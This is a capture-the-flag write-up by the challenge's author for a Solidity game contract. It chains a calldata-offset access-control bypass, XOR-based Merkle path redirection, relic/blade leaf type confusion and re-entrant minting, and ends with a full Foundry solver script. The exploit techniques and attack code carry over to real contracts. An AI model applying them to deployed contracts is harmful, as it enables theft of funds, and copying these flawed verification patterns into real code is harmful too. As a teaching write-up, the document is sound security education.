Challenge Overview
- Players awaken as ronin with a starter blade, low stats, and no upgrades.
- Clan membership is required to access forging; only a forge‑enabled clan can mint blades.
- Blade power is capped on-chain, so raw forging can’t reach the damage needed to kill the boss.
- The world state is anchored by a Merkle root; blade stats are only accepted if proven against it.
- A relic exists with upgradable attunement and powerful stat fields; claiming relics is leader‑only.
- Combat is a single‑transaction duel: if the shogun survives, it counter‑attacks with huge damage.
- The shogun’s HP is astronomically high, so normal progression is effectively impossible.
- Players must pass the torii gate (constructor‑only + selector check) before any of this is accessible.
Prerequisites
This challenge assumes familiarity with the following concepts:
- Solidity fundamentals
- Function selectors, calldata layout, and ABI encoding
- Constructor execution and
extcodesizebehavior
- Merkle trees in Ethereum
- Leaf hashing and sibling-based proofs
- Path-based verification
- How tree height and indexing affect proof validation
- Data layout & type confusion
- How different structs can share compatible encodings
- Why Merkle leaf interpretation depends on the hashing scheme, not the type
Win Condition
The first thing I do when approaching a blockchain challenge is check the win condition.
In this case, it is defined in Setup.sol:
function isSolved() external view returns (bool) {
return !SANCTUM.getShogun().alive;
}Therefore, the objective is to kill the Shogun. Let’s examine how the system enforces this.
Core Game Mechanics
- Awaken + Meditate: A ronin starts at level 1 with base HP and a starter blade; meditation grants slow linear growth in HP/level, but is far too weak to reach the boss’s threshold.
- Clan + Forge: Joining a clan unlocks forging. The standard forge mints blades with capped stats, while the “rite forge” supports a herald callback that can mint additional blades in one transaction.
- Blade Binding: Blade stats can only be equipped if a Merkle proof matches the current world root; binding overwrites stored stats and auto‑equips the blade.
- Relic Attunement: Attunement consumes a bound blade and adds its tempo to the relic’s charge; this is guarded by the rite system and requires properly equipped blades.
- Relic Claim: Clan leaders can claim relics via Merkle proofs; this applies relic bonuses to the ronin and their equipped blade.
- Combat: Duel damage is derived from blade edge × tempo plus level; if the shogun survives, it counters for a very large fixed strike.
Exploit Summary
This challenge is solved by chaining three vulnerabilities:
- A Torii gate selector check that reads from a fixed calldata offset, allowing us to bypass access control and whitelist our EOA.
- A Merkle path construction that XORs the blade ID, allowing high bits to redirect blade proofs into the relic subtree.
- A structural type confusion between Relic and Blade Merkle leaves, allowing relic data to be interpreted as blade stats.
By inflating relic attunement to 129 and forging a fake blade proof that authenticates the right-half of relic[0], we overwrite a blade’s stats with relic-derived values and kill the Shogun in one hit.
Attack Plan
We win by killing the Void Shogun (alive = false). The exploit has two stages:
- Gain whitelist access (Torii bypass)
- Bug:
shadowToriichecks a selector from a fixed calldata offset (0x44), not from the_payloadbytes thatperformKataactually executes. - Result: We can call
enterSanctum()throughperformKata()even though it is “forbidden”.
- Bug:
- Create an overpowered blade (Merkle path + type confusion)
- Bug #1: Merkle path uses
((WORLD_BLADES_INDEX << 7) ^ blade.id)→ high bits ofblade.idcan redirect a “blade proof” into the relic subtree. - Bug #2: Relic leaf layout’s right half can be interpreted as a Blade leaf.
- Result: Bind a real blade ID using a proof that authenticates
relic[0]’s right-half, overwriting blade stats with relic values → one-shot Shogun.
- Bug #1: Merkle path uses
Exploit Flow Overview
The following diagram summarizes the full exploit chain and how the individual bugs compose into a single win path. Each box corresponds to a concrete vulnerability or mechanism that is explained in detail in the sections below.
Notably, the re-entrant forge loop is only used to efficiently prepare relic state; the actual exploit is the Merkle path redirection combined with Relic ↔ Blade type confusion.

Getting Whitelisted (Torii Bypass)
Most game functions are gated by onlyWhitelisted, so our first goal is to set whitelist[tx.origin] = true.
The intended entry is to call enterSanctum() through performKata(), because enterSanctum() only accepts
self-calls (msg.sender == address(this)):
function performKata(bytes memory _payload) public shadowTorii(_payload) {
(bool success, ) = address(this).call(_payload); // Dispatch arbitrary payload via the torii.
require(success, "THE_KATA_BREAKS"); // Revert if the inner call fails.
}
function enterSanctum() external {
require(msg.sender == address(this), "NO_AURA"); // Only callable through performKata.
whitelist[tx.origin] = true; // Mark the original EOA as whitelisted.
}We therefore need to bypass the shadowTorii modifier.
// === Torii gate (bug: checks fixed calldata offset) ===
modifier shadowTorii(bytes memory _payload) {
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)
}
require(size == 0 && sender != tx.origin, "THE_GATE_REFUSES"); // Constructor-only contract caller.
require(_payload.length >= 4, "THE_GATE_REFUSES"); // Payload must include a selector.
bytes4 selector;
assembly {
selector := calldataload(0x44) // Fixed offset: decoupled from the payload selector.
}
require(selector != FORBIDDEN_SELECTOR, "THE_GATE_REFUSES"); // Reject the forbidden selector.
_;
}This gate enforces two conditions:
- Constructor‑only caller: the call must come from a contract during construction
extcodesize(msg.sender) == 0and not directly from an EOA. - Selector check: a 4‑byte value is read from a fixed calldata offset and must not equal
FORBIDDEN_SELECTOR(in this codebase, that constant isenterSanctum()).
Bypassing the Constructor-only caller
So the first part of the bypass is straightforward: we call performKata from a constructor to satisfy the extcodesize == 0 constraint.
Bypassing the Selector Check
The gate does not read the selector from the payload itself.
Instead, it blindly reads 4 bytes from a fixed calldata offset (0x44):
selector := calldataload(0x44)
require(selector != FORBIDDEN_SELECTOR, "THE_GATE_REFUSES");That means we can decouple the checked selector from the actual payload. Key idea:
- Put a harmless decoy selector at calldata offset 0x44 (so the check passes).
- Place the real payload
enterSanctum()at a different offset and letperformKataexecute that payload. This will work as: - The calldata includes a 32‑byte offset to the bytes data.
- The bytes data itself starts at that offset, followed by length + payload.
We can choose a non‑standard offset (e.g.,
0x60) so the bytes payload starts after the fixed offset0x44that the gate checks. Our calldata will now look something like this:
0x00..03 performKata(bytes) selector
0x04..23 0x60 // offset to bytes data
0x24..43 padding word
0x44..63 decoy selector word // checked by gate
0x64..83 0x04 // bytes length (payload is 4 bytes)
0x84..A3 enterSanctum() // actual payload selectorResult:
shadowToriireads the decoy at0x44and approves.performKataexecutes_payload == enterSanctum(), which setswhitelist[tx.origin] = true.
Solver Snippet
contract ToriiWraith {
constructor(VoidboundSanctum sanctum) {
// any selector that is NOT enterSanctum()
bytes4 decoy = bytes4(keccak256("normalFunction()"));
bytes4 enterSel = sanctum.enterSanctum.selector;
// Manually craft calldata so:
// - 0x44 contains `decoy` (passes the gate)
// - the bytes payload contains `enterSanctum()` (what gets executed)
bytes memory callData = abi.encodePacked(
sanctum.performKata.selector, // performKata(bytes)
bytes32(uint256(0x60)), // offset to bytes data
bytes32(0), // padding word (covers 0x24..0x43)
bytes32(decoy), // word that begins at 0x44 (gate reads here)
bytes32(uint256(4)), // bytes length = 4
bytes32(enterSel) // bytes payload = enterSanctum selector
);
// Constructor call satisfies extcodesize(msg.sender) == 0
(bool success, ) = address(sanctum).call(callData);
require(success, "GATE_FAIL");
}
}- Constructor call ensures extcodesize(msg.sender) == 0 and msg.sender != tx.origin.
- Decoy selector sits exactly at 0x44, so the gate check passes.
- Real payload
enterSanctum()is placed at the offset 0x60, soperformKataexecutes it. - The result is
whitelist[tx.origin] = true, unlocking the rest of the game.
Exploiting Merkle Path Construction + Type Confusion
The core exploit hinges on two independent issues in the Merkle verification logic:
- Merkle path construction uses XOR with attacker-controlled
blade.id - Relic and Blade leaves share a compatible right-half layout
By combining these, we can present a relic leaf as if it were a blade leaf and overwrite blade stats with relic data.
Path Calculation Vulnerability
Blade proofs are verified using the following path calculation:
function proveBlade(
IVoidboundSanctum.Blade memory blade,
bytes32 root,
bytes32[] memory proof
) internal pure returns (bool) {
uint256 path = (WORLD_BLADES_INDEX << (BLADES_TREE_HEIGHT - 1)) ^ blade.id;
return _merkleProof(root, merkleizeBlade(blade), path, proof);
}Instead of appending the blade index cleanly, the code XORs the blade ID into the world index prefix. This makes the highest bits of blade.id security-critical.
Relevant constants:
uint256 WORLD_BLADES_INDEX = 3;
uint256 WORLD_RELICS_INDEX = 2;
uint256 BLADES_TREE_HEIGHT = 8; // 2^7 blades
uint256 RELICS_TREE_HEIGHT = 7; // 2^6 relicsConceptually, the world tree looks like:
World Root
├── Name Hash
├── Clan Count
├── Relics Root (100000000)
│ ├── Relic 0
│ └── Relic 1
└── Blades Root (110000000)
├── Blade 0
└── Blade 1The blade path is built as:
(WORLD_BLADES_INDEX << 7) ^ blade.id
// 3 << 7 = 384 = 110000000bIf blade.id >= 128 (8th bit set), the XOR flips the top bit, redirecting the proof from the Blades subtree into the Relics subtree.
Relic ↔ Blade Right-Half Type Confusion
struct Relic { struct Blade {
uint256 id; // 0 uint256 id; // 0
bytes32 title; // 1 uint256 edge; // 1
uint256 myth; // 2 uint256 tempo; // 2
uint256 temper; // 3 uint256 roninId; // 3
uint256 attunement;// 4 ─┐
uint256 sigil; // 5 ├─ right half maps to Blade fields
bool isSealed; // 6 ─┘
}When Merkle-encoded, the right half of a Relic leaf can be reinterpreted as a Blade:
Relic.attunement→Blade.idRelic.sigil→Blade.edgeRelic.isSealed→Blade.tempoRelic.isSealed→Blade.roninId(because the 4th slot is padding, it mirrors the last field)
This matters because:
Relic.idis fixed and uncontrollableRelic.attunementis attacker-controlled
So if we can redirect a blade proof into the relic subtree, we can choose a blade ID by first choosing a relic attunement value.
Choosing the Colliding Blade ID
We want the Merkle path to:
- Enter the Relics subtree
- Select the right half of
relic[0]
That corresponds to this 9-bit path:
bit8 bit7 | bit6..bit1 | bit0
1 0 | 000000 | 1Which is:
100000001b = 257Solve for blade.id
path = (WORLD_BLADES_INDEX << 7) ^ blade.id
257 = 384 ^ blade.id
blade.id = 129Target: we must forge a blade with
id = 129
Preparing the Relic: Attunement = 129
Because the right-half mapping treats Relic.attunement as blade.id,
we must raise relic[0].attunement to 129.
- Initial attunement = 1
- Required increase = 128
- Each attune adds
blade.tempo - Max tempo = 10
So we need:
- 12 blades × 10 tempo = 120
- 1 blade × 8 tempo = 8 → 128 total
At this point we need to raise relic attunement by consuming many blades.
There are two ways to do it:
- Straightforward method: forge and attune one blade at a time.
- This requires a large number of transactions and is impractical on Sepolia.
- Optimized method: abuse the forge’s herald re‑entrancy to batch‑mint many blades in one transaction, then consume them all in a single
Re-entrant Forge Capability (Optimization)
We use the second approach as forging and attuning 13 blades individually is slow on testnet.
Forge Re‑entry via Herald
The forge exposes a re-entrant hook during forgeBladeRite:
function forgeBladeRite(uint256 edge, uint256 tempo ) external onlyWhitelisted returns (uint256 id) {
id = _forge(msg.sender, edge, tempo); // Mint the initial blade.
address herald = forgeHeraldOf[msg.sender]; // Lookup optional herald.
if (herald != address(0)) {
heraldCaller = msg.sender; // Cache caller for re-entrant mints.
heraldDepth = 1; // Arm herald re-entry.
IForgeHerald(herald).onForgeStamp(msg.sender, id); // External call (re-entrancy hook).
heraldDepth = 0; // Reset re-entry guard.
heraldCaller = address(0); // Clear cached caller.
}
}
function forgeBladeViaHerald(uint256 edge, uint256 tempo ) external returns (uint256 id) {
require(heraldDepth == 1, "HERALD_NOT_ACTIVE"); // Only callable during herald phase.
require(msg.sender == forgeHeraldOf[heraldCaller], "BAD_HERALD"); // Must be the appointed herald.
id = _forge(heraldCaller, edge, tempo); // Mint on behalf of the cached caller.
}By installing a herald contract, we can mint many blades in one transaction.
2) Attunement Batch via Mirror Rite
Attunement is locked behind the rite gate, but the batch helper lets us consume many blades at once:
function voidAttuneBatch(uint256[] calldata bladeIds) external {
mirrorRite(""); // Gate for the whole batch.
for (uint256 i = 0; i < bladeIds.length; i++) {
_equipForRite(riteCaller, bladeIds[i]); // Equip using cached caller.
this.attuneRelic(bladeIds[i]); // Consume each blade inside the rite.
}
}And the rite itself:
function mirrorRite(bytes memory payload) public {
if (riteDepth == 0) {
riteCaller = msg.sender; // Cache the outer caller for rite-only actions.
riteDepth = 1; // Arm the inner call phase.
(bool success, ) = address(this).call(payload); // Trigger the inner re-entrant call.
require(success, "RITE_FAIL"); // Fail if the inner call fails.
require(riteDepth == 2, "RITE_FAIL"); // Require the inner bounce to happen.
riteDepth = 0; // Reset rite state on success.
riteCaller = address(0); // Clear caller cache after completion.
return;
}
if (riteDepth == 1) {
require(msg.sender == address(this), "RITE_FAIL"); // Only the self-call can advance.
riteDepth = 2; // Signal rite completion to the outer frame.
return;
}
revert("RITE_FAIL");
}This burns all forged blades in a single rite, efficiently raising attunement to 129.
Solver Snippet
ForgeHerald herald = new ForgeHerald(sanctum); // Deploy herald for forge re-entry.
sanctum.appointForgeHerald(address(herald)); // Register herald for this caller.
uint256 maxTempo = sanctum.MAX_BLADE_TEMPO(); // Upper tempo bound for safe forging.
herald.prime(targetPower, 1, maxTempo); // Prime batch to mint ids 1..targetPower.
sanctum.forgeBladeRite(1, maxTempo); // Re-entrant mint: produces ids 1..targetPower.- Deploys the herald contract.
- Registers it so forgeBladeRite will call it.
- Primes the herald with how many blades to mint and the stats to use.
- Calls forgeBladeRite, which triggers the herald and re‑enters to mint many blades in one tx.
uint256 needed = targetPower - startAttune; // Total attunement delta required.
uint256 full = needed / maxTempo; // Count of full-tempo blades to consume.
uint256 rem = needed % maxTempo; // Remainder for a final partial blade.
uint256 extraId = type(uint256).max; // Tracks a remainder blade id, if needed.
if (rem > 0) {
extraId = sanctum.forgeBlade(1, rem); // Mint the remainder blade for exact attunement.
}
uint256 batchCount = full + (rem > 0 ? 1 : 0); // Total blades to consume in one rite.
uint256[] memory batch = new uint256[](batchCount); // Packed blade ids for voidAttuneBatch.
for (uint256 i = 0; i < full; i++) {
batch[i] = i + 1; // Use ids 1..full from the batch-minted set.
}
if (rem > 0) {
batch[full] = extraId; // Append the remainder blade id.
}- Computes how much attunement we still need.
- Splits it into full‑tempo blades + one remainder blade.
- Builds the list of blade IDs to consume in the rite.
bytes memory ritePayload = abi.encodeWithSelector(
sanctum.voidAttuneBatch.selector,
batch
); // Encode batch for mirrorRite so onlyRite is satisfied.
sanctum.mirrorRite(ritePayload); // Single tx to consume all blades and raise attunement.- Encodes the batch attune call.
- Runs it through mirrorRite so onlyRite is satisfied.
- Attunes all blades in a single transaction.
Build the Proof, Bind the Blade, Kill the Shogun
At this point we have everything needed for the final jump:
- We are whitelisted (Torii bypass).
- We can mint up to blade id = 129.
- We have set
relic[0].attunement = 129, so the right-half ofrelic[0]will be interpreted as a Blade leaf withid = 129.
The only remaining step is to make bindBlade() accept a “blade proof” whose leaf is actually the right half of relic[0].
Constructing a “Blade” Proof from Relic Nodes
Recall what bindBlade() checks:
bladeOwner[blade.id] == msg.senderproveBlade(blade, sanctumRoot(), proof) == true
We satisfy ownership by forging the real blade with id = 129.
Then we satisfy the Merkle check by building a proof that authenticates:
- Leaf: right-half(
relic[0]) ← interpreted asmerkleizeBlade(forgedBlade) - Sibling at leaf-level: left-half(
relic[0]) - Then we climb:
1) the relic subtree (through
relic[1]and padding levels), 2) the world tree (combine with blades root, then the left world branch).
Solver Snippet:
bytes32 leftHalf;
bytes32 relic0Root;
(leftHalf, , relic0Root) = _relicRoots(relic0);
bytes32 relic1Root = _relicRoot(relic1);
bytes32[] memory proof = new bytes32[](9);
proof[0] = leftHalf; // Sibling for the forged right‑half leaf.
proof[1] = relic1Root; // Sibling at relic level 1.
bytes32 node = _hash(relic0Root, relic1Root);
for (uint256 i = 2; i < 7; i++) {
proof[i] = node;
node = _hash(node, node);
}
bytes32 relicRoot = node;
bytes32 bladesRoot = _bladesRoot(sanctum);
proof[7] = bladesRoot;
bytes32 leftWorld = _hash(
keccak256(abi.encode(sanctum.sanctumName())),
keccak256(abi.encode(uint256(1))) // clan count
);
proof[8] = leftWorld;Forge a blade struct that matches the relic right‑half
Because of the right-half overlap, the Blade we provide to bindBlade() must match the relic’s right-half fields:
IVoidboundSanctum.Blade memory forgedBlade = IVoidboundSanctum.Blade({
id: 129, // must match relic.attunement
edge: relic0.sigil, // becomes blade edge
tempo: relic0.isSealed ? 1 : 0,
roninId: relic0.isSealed ? 1 : 0
});id = 129aligns withrelic[0].attunementedgeis taken fromrelic0.sigil(the “damage injection”)tempoandroninIdmirrorisSealeddue to padding/packing in the Merkle leaf encoding
Bind the blade with the forged proof
Now we call bindBlade() with our forged blade struct and the relic-derived proof:
sanctum.bindBlade(forgedBlade, proof);This succeeds because:
- The ownership check passes (we actually own blade #129),
- The Merkle verifier is tricked into validating the forged blade against the relic subtree,
- The contract then writes the supplied
edge/tempointo storage and auto-equips the blade.
Kill the Shogun
Finally, with an equipped, bound blade whose stats were effectively sourced from relic metadata, we can win the duel in one transaction:
sanctum.duelShogun();Damage is computed as:
damage = blade.edge * blade.tempo + ronin.level
With blade.edge derived from relic0.sigil (large) and tempo nonzero, the Shogun’s HP is exceeded and shogun.alive becomes false, satisfying the win condition.
Final Notes & Acknowledgements
This was my first Web3 challenge. I’m still early in my journey with smart contract security, so this challenge was also a learning experience for me while designing and solving it.
My goal was to build something that felt fun, layered, and educational rather than relying on a single obvious bug. I hope the resulting exploit chain was interesting to analyze and useful for everyone interested in web3 security!
This challenge was inspired by:
- World of Memecraft from Remedy 2025 CTF
- Level 29 (Switch) from the Ethernaut challenge set.
Thanks for playing, and I hope you enjoyed breaking it as much as I enjoyed building it!
Full Solver Script
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import "forge-std/Script.sol";
import {VoidBoundBlade} from "src/Setup.sol"; // VoidBoundBlade entrypoint.
import {VoidboundSanctum, IForgeHerald} from "src/VoidboundSanctum.sol"; // Target contract + herald interface.
import {IVoidboundSanctum} from "src/interfaces/IVoidboundSanctum.sol"; // Struct types.
import {VoidboundMerkle} from "src/libraries/VoidboundMerkle.sol"; // Merkle constants.
// === Gate helper ===
// shadowTorii checks a fixed calldata offset, so we place a decoy selector there
// while the real payload calls enterSanctum.
contract ToriiWraith {
constructor(VoidboundSanctum sanctum) {
bytes4 decoy = bytes4(keccak256("normalFunction()")); // Any selector != enterSanctum.
bytes4 enterSel = sanctum.enterSanctum.selector; // Actual payload selector.
bytes memory callData = abi.encodePacked(
sanctum.performKata.selector, // Function selector.
bytes32(uint256(0x60)), // Offset to bytes payload.
bytes32(0), // Padding word (unused head space).
bytes32(decoy), // Fixed-offset decoy selector.
bytes32(uint256(4)), // Payload length.
bytes32(enterSel) // Payload data (enterSanctum selector).
); // Crafted calldata to satisfy shadowTorii and still call enterSanctum.
(bool success, ) = address(sanctum).call(callData); // Constructor call makes extcodesize(msg.sender)==0.
require(success, "GATE_FAIL"); // Fail fast if gate behavior changes.
}
}
// === Forge reentrancy helper ===
// Bug: forgeBladeRite calls into a herald before finalizing, enabling re-entry.
contract ForgeHerald is IForgeHerald {
VoidboundSanctum public immutable sanctum; // Target contract for re-entrant minting.
uint256 public remaining; // How many additional blades to mint.
uint256 public edge; // Edge to use for each forged blade.
uint256 public tempo; // Tempo to use for each forged blade.
constructor(VoidboundSanctum _sanctum) {
sanctum = _sanctum; // Cache target for callbacks.
}
// Prime the batch so the callback can mint without calldata decoding.
function prime(uint256 count, uint256 _edge, uint256 _tempo) external {
remaining = count; // Total blades to mint including the initial one.
edge = _edge; // Batch edge value to keep stats valid.
tempo = _tempo; // Batch tempo value to speed attunement.
}
// Re-entrant callback fired by forgeBladeRite during the herald phase.
function onForgeStamp(address, uint256) external override {
if (remaining == 0) {
return; // Nothing to do if the batch is already drained.
}
remaining -= 1; // Account for the initial forge done by forgeBladeRite.
while (remaining > 0) {
remaining -= 1; // Decrement before re-entering to avoid underflow on revert.
sanctum.forgeBladeViaHerald(edge, tempo); // Re-enter forge to mint the next id.
}
}
}
// === Solver entrypoint ===
contract Solve is Script {
// Script entry: fetch CHALLENGE, then broadcast solve txs.
function run() external {
address sanctumAddress = vm.envOr("SANCTUM", address(0)); // Direct instance address.
if (sanctumAddress == address(0)) {
sanctumAddress = vm.envAddress("CHALLENGE"); // Fallback to legacy env var.
}
vm.startBroadcast(); // Begin sending transactions from the configured signer.
_solve(sanctumAddress); // Execute exploit flow.
vm.stopBroadcast(); // End broadcast for clean script exit.
}
// === Exploit flow ===
function _solve(address sanctumAddress) internal {
VoidboundSanctum sanctum = VoidboundSanctum(sanctumAddress); // Bind the sanctum instance.
// Torii gate: fixed-offset selector check is satisfied by crafted calldata.
new ToriiWraith(sanctum); // Sets whitelist[tx.origin] via performKata -> enterSanctum.
// Gameplay setup after passing the torii gate (no bug here).
sanctum.awakenRonin(); // Mint our ronin and starter blade.
sanctum.pledgeClan(0); // Join the forge-enabled clan.
// Batch-mint blades via the re-entrant forge to reduce tx count.
uint256 targetPower = 129; // Target attunement used in the XOR path.
uint256 startAttune = sanctum.getRelic(0).attunement; // Current attunement baseline.
require(targetPower > startAttune, "BAD_TARGET"); // Prevent underflow in needed.
ForgeHerald herald = new ForgeHerald(sanctum); // Deploy herald for forge re-entry.
sanctum.appointForgeHerald(address(herald)); // Register herald for this caller.
uint256 maxTempo = sanctum.MAX_BLADE_TEMPO(); // Upper tempo bound for safe forging.
uint256 mintBatch = vm.envOr("MINT_BATCH", uint256(50)); // How many blades to mint per tx.
uint256 minted = 0; // Track minted blades for id reach.
while (minted < targetPower) {
uint256 batch = targetPower - minted;
if (batch > mintBatch) {
batch = mintBatch;
}
herald.prime(batch, 1, maxTempo); // Prime batch to mint the next ids.
sanctum.forgeBladeRite(1, maxTempo); // Re-entrant mint in this tx.
minted += batch;
}
uint256 needed = targetPower - startAttune; // Total attunement delta required.
uint256 full = needed / maxTempo; // Count of full-tempo blades to consume.
uint256 rem = needed % maxTempo; // Remainder for a final partial blade.
uint256 extraId = type(uint256).max; // Tracks a remainder blade id, if needed.
if (rem > 0) {
extraId = sanctum.forgeBlade(1, rem); // Mint the remainder blade for exact attunement.
}
uint256 batchCount = full + (rem > 0 ? 1 : 0); // Total blades to consume in one rite.
uint256[] memory batch = new uint256[](batchCount); // Packed blade ids for voidAttuneBatch.
for (uint256 i = 0; i < full; i++) {
batch[i] = i + 1; // Use ids 1..full from the batch-minted set.
}
if (rem > 0) {
batch[full] = extraId; // Append the remainder blade id.
}
bytes memory ritePayload = abi.encodeWithSelector(
sanctum.voidAttuneBatch.selector,
batch
); // Encode batch for mirrorRite so onlyRite is satisfied.
sanctum.mirrorRite(ritePayload); // Single tx to consume all blades and raise attunement.
uint256 targetId = targetPower; // Blade id chosen so XOR path collides with relic subtree.
IVoidboundSanctum.Relic memory relic0 = sanctum.getRelic(0); // The relic we will type-confuse.
IVoidboundSanctum.Relic memory relic1 = sanctum.getRelic(1); // Neighbor used to build proof.
bytes32[] memory proof = _buildBladeProof(
sanctum,
relic0,
relic1
); // Build a blade proof that actually authenticates relic data.
IVoidboundSanctum.Blade memory forgedBlade = IVoidboundSanctum.Blade({
// Bug 2: XOR path lets blade.id steer into relic subtree (type confusion).
id: targetId, // Aligns blade path with relic attunement slot.
edge: relic0.sigil, // Reuse relic sigil as blade damage.
tempo: relic0.isSealed ? 1 : 0, // Convert sealed bool into tempo=1.
roninId: relic0.isSealed ? 1 : 0 // Convert sealed bool into roninId=1.
});
sanctum.bindBlade(forgedBlade, proof); // Overwrite stored blade via forged proof.
sanctum.duelShogun(); // Kill the shogun with the forged stats.
}
// === Merkle proof construction ===
function _buildBladeProof(
VoidboundSanctum sanctum,
IVoidboundSanctum.Relic memory relic0,
IVoidboundSanctum.Relic memory relic1
) internal view returns (bytes32[] memory proof) {
bytes32 leftHalf; // Left half of relic0 leaf (id/title/myth/temper).
bytes32 relic0Root; // Full relic0 leaf root.
(leftHalf, , relic0Root) = _relicRoots(relic0); // Split the relic leaf.
bytes32 relic1Root = _relicRoot(relic1); // Root of relic1 leaf.
proof = new bytes32[](9); // Right-half leaf + relic levels + world levels.
proof[0] = leftHalf; // Sibling for the forged right-half leaf.
proof[1] = relic1Root; // Sibling for relic0 at level 1.
bytes32 node = _hash(relic0Root, relic1Root); // Root of the 0/1 relic pair.
for (uint256 i = 2; i < 7; i++) { // Fill remaining relic subtree with empty pairs.
proof[i] = node; // Use same hash as both children (default empty behavior).
node = _hash(node, node); // Climb one level up the relic subtree.
}
bytes32 relicRoot = node; // Final relic subtree root.
bytes32 bladesRoot = _bladesRoot(sanctum); // Root over all blades in storage.
proof[7] = bladesRoot; // World sibling: blades root.
bytes32 leftWorld = _hash(
keccak256(abi.encode(sanctum.sanctumName())), // World leaf 0: sanctum name.
keccak256(abi.encode(uint256(1))) // World leaf 1: clan count (1).
);
proof[8] = leftWorld; // World sibling: left world subtree.
bytes32 rightWorld = _hash(relicRoot, bladesRoot); // World right subtree.
bytes32 expectedRoot = _hash(leftWorld, rightWorld); // Expected full world root.
require(expectedRoot == sanctum.sanctumRoot(), "BAD_ROOT"); // Sanity check for proof layout.
}
// === Merkle helpers (blade side) ===
function _bladesRoot(VoidboundSanctum sanctum) internal view returns (bytes32 root) {
uint256 count = sanctum.getBladeCount(); // Only hash actual blades, leave rest zero.
if (count > VoidboundMerkle.BLADES_NUM_ELEMENTS) {
count = VoidboundMerkle.BLADES_NUM_ELEMENTS; // Cap to the merkleized range.
}
bytes32[] memory hashed = new bytes32[](VoidboundMerkle.BLADES_NUM_ELEMENTS); // Fixed-size tree.
for (uint256 i; i < count; i++) {
hashed[i] = _merkleizeBlade(sanctum.getBlade(i)); // Merkleize each blade leaf.
}
root = _merkleize(hashed); // Build the full blades subtree root.
}
// === Merkle helpers (tree building) ===
function _merkleize(bytes32[] memory input) internal pure returns (bytes32) {
uint256 n = _upperPow2(input.length); // Round up to the next power of two.
bytes32[] memory cache = new bytes32[](n); // Cache used for in-place reduction.
for (uint256 i; i < input.length; i++) {
cache[i] = input[i]; // Copy leaves; missing leaves stay zero.
}
n /= 2;
while (n > 0) {
for (uint256 i; i < n; i++) {
bytes32 left = cache[2 * i];
bytes32 right = cache[2 * i + 1];
if (right == bytes32(0)) {
if (left == bytes32(0)) {
cache[i] = bytes32(0);
} else {
cache[i] = keccak256(abi.encodePacked(left, left)); // Mirror left when right is empty.
}
} else {
cache[i] = keccak256(abi.encodePacked(left, right)); // Standard Merkle hash.
}
}
n /= 2;
}
return cache[0];
}
// === Merkle helpers (relic side) ===
function _upperPow2(uint256 n) private pure returns (uint256 x) {
x = 1; // Start at 2^0 and grow until we cover n leaves.
while (n > x) {
x <<= 1; // Multiply by two to reach the next power.
}
}
function _relicRoot(
IVoidboundSanctum.Relic memory relic
) internal pure returns (bytes32 root) {
(, , root) = _relicRoots(relic); // Reuse the split helper.
}
function _relicRoots(
IVoidboundSanctum.Relic memory relic
) internal pure returns (bytes32 leftHalf, bytes32 rightHalf, bytes32 root) {
bytes32 h0 = keccak256(abi.encode(relic.id)); // Leaf 0.
bytes32 h1 = keccak256(abi.encode(relic.title)); // Leaf 1.
bytes32 h2 = keccak256(abi.encode(relic.myth)); // Leaf 2.
bytes32 h3 = keccak256(abi.encode(relic.temper)); // Leaf 3.
bytes32 h4 = keccak256(abi.encode(relic.attunement)); // Leaf 4.
bytes32 h5 = keccak256(abi.encode(relic.sigil)); // Leaf 5.
bytes32 h6 = keccak256(abi.encode(relic.isSealed)); // Leaf 6.
leftHalf = _hash(_hash(h0, h1), _hash(h2, h3)); // Left half of leaf (0..3).
rightHalf = _hash(_hash(h4, h5), _hash(h6, h6)); // Right half (4..6 + padded).
root = _hash(leftHalf, rightHalf); // Full relic leaf root.
}
function _merkleizeBlade(
IVoidboundSanctum.Blade memory blade
) internal pure returns (bytes32 root) {
bytes32 h0 = keccak256(abi.encode(blade.id)); // Leaf 0.
bytes32 h1 = keccak256(abi.encode(blade.edge)); // Leaf 1.
bytes32 h2 = keccak256(abi.encode(blade.tempo)); // Leaf 2.
bytes32 h3 = keccak256(abi.encode(blade.roninId)); // Leaf 3.
root = _hash(_hash(h0, h1), _hash(h2, h3)); // Blade leaf root.
}
function _hash(bytes32 left, bytes32 right) private pure returns (bytes32) {
return keccak256(abi.encodePacked(left, right)); // Merkle node hash.
}
}